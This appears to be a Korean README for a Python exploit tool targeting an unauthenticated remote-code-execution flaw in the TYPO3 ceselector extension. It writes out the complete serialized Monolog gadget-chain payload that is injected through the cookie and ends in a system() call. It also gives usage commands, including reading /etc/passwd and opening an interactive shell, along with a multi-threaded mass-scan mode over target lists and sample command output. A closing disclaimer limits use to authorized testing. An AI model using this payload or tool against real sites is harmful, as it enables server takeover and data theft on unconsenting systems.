
PHP 객체 주입 및 Monolog 가젯 체인을 통해 TYPO3 ceselector 확장에서 인증되지 않은 원격 코드 실행을 달성하는 CVE-2026-46725용 Python 익스플로잇.
| 분야 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-46725 |
| 제품 | TYPO3 ceselector Extension (mmc/ceselector) |
| 영향받는 버전 | <= 1.1.3 |
| 취약점 유형 | 안전하지 않은 역직렬화 (PHP Object Injection) |
| CVSS 점수 | 9.8 Critical |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| EPSS 점수 | 0.0046 (%64.3 백분위수) |
| 인증 | 필요 없음 (Unauthenticated) |
| 영향 | Full RCE — 시스템 완전 제어 |
| 연구자 | DhiyaneshDk |
TYPO3 ceselector 확장은 T3_ceselector_* 쿠키 값을 아무런 검증 없이 unserialize() 함수에 직접 전달합니다. 공격자는 이 쿠키에 특별히 제작된 PHP Object Injection 페이로드를 삽입하여 서버에서 임의의 명령을 실행할 수 있습니다.
⚠️ 전제 조건: 취약점을 악용하려면 TYPO3 구성에서 Persistent Mode: Static 설정이 활성화되어 있어야 합니다.
1. GET / → 서버가 Set-Cookie: T3_ceselector_<id>=<value> 반환
2. GET / → Cookie: T3_ceselector_<id>=<PAYLOAD>
└─ PHP unserialize() 트리거
└─ Monolog Gadget Chain 실행
└─ system("id") 출력이 response에 반영
Monolog\Handler\GroupHandler
└─ Monolog\Handler\BufferHandler
└─ Monolog\LogRecord (buffer)
└─ processors: [get_object_vars, end, system]
└─ system("<CMD>") ← RCE
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"*handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"*handler";r:3;
s:13:"*bufferSize";i:1;
s:14:"*bufferLimit";i:0;
s:9:"*buffer";a:1:{
i:0;O:17:"Monolog\LogRecord":2:{
s:5:"level";E:19:"Monolog\Level:Debug";
s:5:"mixed";s:2:"id"; ← OS 명령어가 여기에 위치
}
}
s:14:"*initialized";b:1;
s:13:"*processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system"; ← sink
}
}
}
}
requests 라이브러리Python >= 3.8
requests >= 2.28.0
# 리포지토리 클론
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725
# 의존성 설치
pip install requests
# 또는 requirements.txt 사용
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
[-t N] [--timeout S] [--proxy URL]
[-o FILE] [-v] [--no-color]
옵션:
대상:
-u, --url URL 단일 대상 URL
-l, --list FILE 대상 목록 (줄마다 URL)
익스플로잇:
-c, --cmd CMD 실행할 OS 명령어 (기본값: id)
-i, --interactive 성공적인 익스플로잇 후 대화형 셸 열기
스캔:
-t, --threads N 스레드 수 (기본값: 10)
--timeout S 타임아웃(초) (기본값: 15)
--proxy URL 프록시 (예: http://127.0.0.1:8080)
출력:
-o, --output FILE 결과 파일
-v, --verbose 상세 출력
--no-color 컬러 없는 출력
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
# 20개 스레드로 스캔하고 결과 저장
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
# 30개 스레드, 사용자 지정 명령
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
python CVE-2026-46725.py -u https://typo3-site.com \
--proxy http://127.0.0.1:8080 -v
https://site1.com
https://site2.com
http://site3.com
site4.com
① TYPO3 & ceselector 탐지
────────────────────────────────────────────────────
· TYPO3 ✓ 탐지됨
· ceselector ✓ 활성
· 쿠키 이름 T3_ceselector_48291
· TYPO3 버전 12.4.3
② 페이로드 준비 중
────────────────────────────────────────────────────
· 기술 PHP Object Injection → Monolog Gadget Chain
· Gadget Monolog\Handler\GroupHandler
· Sink system()
· 명령어 id
④ RCE 출력
────────────────────────────────────────────────────
┌─ RCE 출력 ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
results.txt)============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
날짜: 2026-05-26 17:30:00
============================================================
[+] RCE 획득 대상 (2)
----------------------------------------
URL : https://typo3-site.com
버전 : 12.4.3
쿠키 : T3_ceselector_48291
명령어 : id
출력 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌─────────────────────────────────────────────────────────┐
│ EXPLOIT 흐름 │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. 탐지 │
│ GET / ──────────────────────► TYPO3 서버 │
│ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│ │
│ 2. 페이로드 준비 │
│ build_payload("id") │
│ └─ Monolog gadget chain URL 인코딩됨 │
│ │
│ 3. 익스플로잇 │
│ GET / │
│ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │
│ ──────────────────────► unserialize() │
│ └─ __destruct() │
│ └─ system("id") │
│ ◄──── uid=33(www-data) gid=33(www-data) ─── │
│ │
│ 4. 검증 │
│ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │
│ │
└─────────────────────────────────────────────────────────┘
이 도구는 교육 및 공인된 보안 테스트 목적으로만 개발되었습니다.
- 자신의 시스템 또는 서면 허가를 받은 시스템에서만 사용하십시오.
- 허가 없는 시스템을 대상으로 사용하는 것은 불법이며 법적 결과를 초래할 수 있습니다.
- 개발자는 이 도구의 오용에 대해 책임을 지지 않습니다.
CVE-2026-46725 | TYPO3 ceselector RCE | Python Exploit